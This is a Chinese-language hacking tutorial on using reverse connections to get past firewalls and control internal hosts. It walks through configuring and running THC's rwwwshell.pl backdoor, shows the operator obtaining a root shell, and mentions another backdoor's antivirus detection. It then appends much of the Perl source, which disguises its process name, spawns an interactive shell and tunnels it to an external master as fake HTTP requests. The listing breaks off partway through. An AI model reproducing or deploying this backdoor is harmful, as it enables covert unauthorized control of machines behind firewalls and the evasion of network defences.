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利用反向连接的方法绕过防火墙控制内部主机

 原文用大篇篇幅介绍了防火墙和应用网关的内容,以及一些控制内部主机的方法。其中的反向连接的方法值得借鉴。大家知道,现在的许多局域网都设置了防火墙,禁止外部主机访问内网,但却允许内部机器访问外部网络,反向连接正是利用这一点。传统的远程控制一般是被控端开放一端口,处于listening状态,等待主控端来连接,而反向连接则相反,主控端开放一端口,处于listening状态,等待被控端来连接,这样也就使防火墙失去作用。原文附带了一个perl编的程序rwwwshell.pl,我以这个程序来说明怎样利用反向连接控制内部主机。
   首先修改rwwwshell.pl的一些配置,更改程序内$SERVER的地址,这个地址就是外部主机地址,还有$TIME的时间,此时间为到这个时候,内部主机开始连接外部主机。在外部主机上运行
  c:\perl rwwwshell.pl
  
  Welcome to the Reverse-WWW-Tunnel-Backdoor v1.4 by van Hauser / THC ...
  
  Introduction: Wait for your SLAVE to connect, examine it\''s output and then
  type in your commands to execute on SLAVE. You\''ll have to
  wait min. the set $DELAY seconds before you get the output
  and can execute the next stuff. Use ";" for multiple commands.
  Trying to execute interactive commands may give you headache
  so beware. Your SLAVE may hang until the daily connect try
  (if set - otherwise you lost).
  You also shouldn\''t try to view a binary data too ;-)
  "echo bla >> file", "cat >> file <<- EOF", sed etc. are your
  friends if you don\''t like using vi in a delayed line mode ;-)
  To exit this program on any time without doing harm to either
  MASTER or SLAVE just press Control-C.
  Now have fun.
  
  Waiting for connect ...
  
  然后在内部主机上运行
  [root@xxx.com]#perl rwwwshell.pl -slave
  starting in slave mode
  
  当到了$TIME时间时,你的外部主机上就可看到
  [root@xxx.com]#
  这时你就是这台内部主机的主人了。
  用这个程序需注意,被控端也就是内部主机只能是Linux(UNIX未试过),在win2000下运行,当$TIME到时,主控端会报错,所以我想这个程序是为Linux编的,不过不要紧,至少我们学到了一种思路。
  
  前几天,我在xfocus.org上发现一程序wollf,也具有反向连接功能,有兴趣的朋友不妨试一试,此程序功能很强大,但有一点遗憾,这个wollf会被最新的Norton AntiVirus查出。
  
  附rwwwshell.pl
  #!/usr/bin/perl
  # Reverse-WWW-Tunnel-Backdoor v1.5
  # (c) 1998 by van Hauser / [THC] - The Hacker''s Choice
  # Check out http://r3wt.base.org for updates
  
  #
  # GENERAL CONFIG (except for $MASK, everything must be the same
  # for MASTER and SLAVE is this section!)
  #
  $CGI_PREFIX="/cgi-bin/order?";# should look like cgi. "?" as last char!
  $MASK="vi";# for masking the program''s process name
  $PASSWORD="THC";# anything, nothing you have to rememeber
  # (not a real "password" anyway)
  #
  # MASTER CONFIG (specific for the MASTER)
  #
  $LISTEN_PORT=8080;# on which port to listen (80 [needs root] or 8080)
  $SERVER="192.168.0.188";# the host to run on (ip/dns) (the SLAVE needs this!)
  
  #
  # SLAVE CONFIG (specific for the SLAVE)
  #
  $SHELL="/bin/sh -i";# program to execute (e.g. /bin/sh)
  $DELAY="3";# time to wait for output after your command(s)
  $TIME="12:25";# time when to connect to the master (unset if now)
  $DAILY="sure";# tries to connect once daily if set with something
  $PROXY="";# set this with the Proxy if you must use one
  $PROXY_PORT="";# set this with the Proxy Port if you must use one
  
  # END OF CONFIG# nothing for you to do after this point #
  
  ################## BEGIN MAIN CODE ##################
  
  require 5.002;
  use Socket;
  
  $│=1;# next line changes our process name
  if ($MASK) { for ($a=1;$a<80;$a++){$MASK=$MASK."\000";} $0=$MASK; }
  undef $DAILY if (! $TIME);
  if ( !($PROXY) ││ !($PROXY_PORT) ) {
  undef $PROXY;
  undef $PROXY_PORT;
  }
  $protocol = getprotobyname(''tcp'');
  
  if ($ARGV[0] ne "") {
  if ($ARGV[0] eq "-h") {
  print STDOUT "no commandline option : daemon mode\n";
  print STDOUT "using \"-h\" as option : this help\n";
  print STDOUT "any other option : slave mode\n";
  exit(0);
  } else {
  print STDOUT "starting in slave mode\n";
  $SLAVE_MODE = "yeah";
  }
  }
  
  if (! $SLAVE_MODE) {
  &master;
  } else {
  &slave;
  }
  # END OF MAIN FUNCTION
  
  ############### SLAVE FUNCTION ###############
  
  sub slave {
  $pid = 0;
  if ($PROXY) {# setting the real config (for Proxy Support)
  $REAL_SERVER = $PROXY;
  $REAL_PORT = $PROXY_PORT;
  $REAL_PREFIX = "GET http://" . $SERVER . ":" . $LISTEN_PORT
  . $CGI_PREFIX;
  } else {
  $REAL_SERVER = $SERVER;
  $REAL_PORT = $LISTEN_PORT;
  $REAL_PREFIX = "GET " . $CGI_PREFIX;
  }
  AGAIN:if ($pid) { kill 9, $pid; }
  if ($TIME) {# wait until the specified $TIME
  $TIME =~ s/^0//;$TIME =~ s/:0/:/;
  (undef,$min,$hour,undef,undef,undef,undef,undef,undef)
  = localtime(time);
  $t=$hour . ":" . $min;
  while ($TIME ne $t) {
  sleep(28); # every 28 seconds we look at the watch
  (undef,$min,$hour,undef,undef,undef,undef,undef,undef)
  = localtime(time);
  $t=$hour . ":" .$min;
  }
  }
  if ($DAILY) {# if we must connect daily, we
  if (fork) {# we fork the daily shell process
  sleep(69);# to ensure the master control proc.
  goto AGAIN;# won''t get stuck by a fucking cmd
  }# the user executed.
  }
  $address = inet_aton($REAL_SERVER) ││ die "can''t resolve server\n";
  $remote = sockaddr_in($REAL_PORT, $address);
  $forked = 0;
  GO:close(THC);
  socket(THC, &PF_INET, &SOCK_STREAM, $protocol)
  or die "can''t create socket\n";
  setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1);
  if (! $forked) {# fork failed? fuck, let''s try again
  pipe R_IN, W_IN; select W_IN; $│=1;
  pipe R_OUT, W_OUT; select W_OUT; $│=1;
  $pid = fork;
  if (! defined $pid) {
  close THC;
  close R_IN;close W_IN;
  close R_OUT;close W_OUT;
  goto GO;
  }
  $forked = 1;
  }
  if (! $pid) { # this is the child process (execs $SHELL)
  close R_OUT;close W_IN;close THC;
  open STDIN, "<&R_IN";
  open STDOUT, ">&W_OUT";
  open STDERR, ">&W_OUT";
  exec $SHELL ││ print W_OUT "couldn''t spawn $SHELL\n";
  close R_IN; close W_OUT;
  exit(0);
  } else { # this is the parent (data control + network)
  close R_IN;
  sleep($DELAY);# we wait $DELAY for the commands to complete
  vec($rs, fileno(R_OUT), 1) = 1;
  select($r = $rs, undef, undef, 30);
  sleep(1);
  $output = "";
  vec($ws, fileno(W_OUT), 1) = 1;
  while (select($w = $ws, undef, undef, 1)) {
  read R_OUT, $readout, 1 ││ last;
  $output = $output . $readout;
  }
  print W_OUT "\000" ││ goto END;
  while (1) {
  read R_OUT, $readout, 1 ││ last;
  last if ($readout eq "\000");
  $output = $output . $readout;
  }
  &uuencode;# does the encoding of the shell output
  $encoded = $REAL_PREFIX . $encoded . "\n";
  connect(THC, $remote) ││ goto END;# connect to master
  send (THC, $encoded, 0) ││ goto END;# and send data
  $input = "";
  vec($rt, fileno(THC), 1) = 1; # wait until master sends reply
  while (! select($r = $rt, undef, undef, 0.00001)) {}
  while (1) {# read until EOD (End Of Data)
  recv (THC, $readin, 1, 0) ││ goto OK;
  goto OK if (($readin eq "\000") or ($readin eq "\n")
  or ($readin eq ""));
  $input = $input . $readin;
  }
  OK:$input =~ s/\n//gs;

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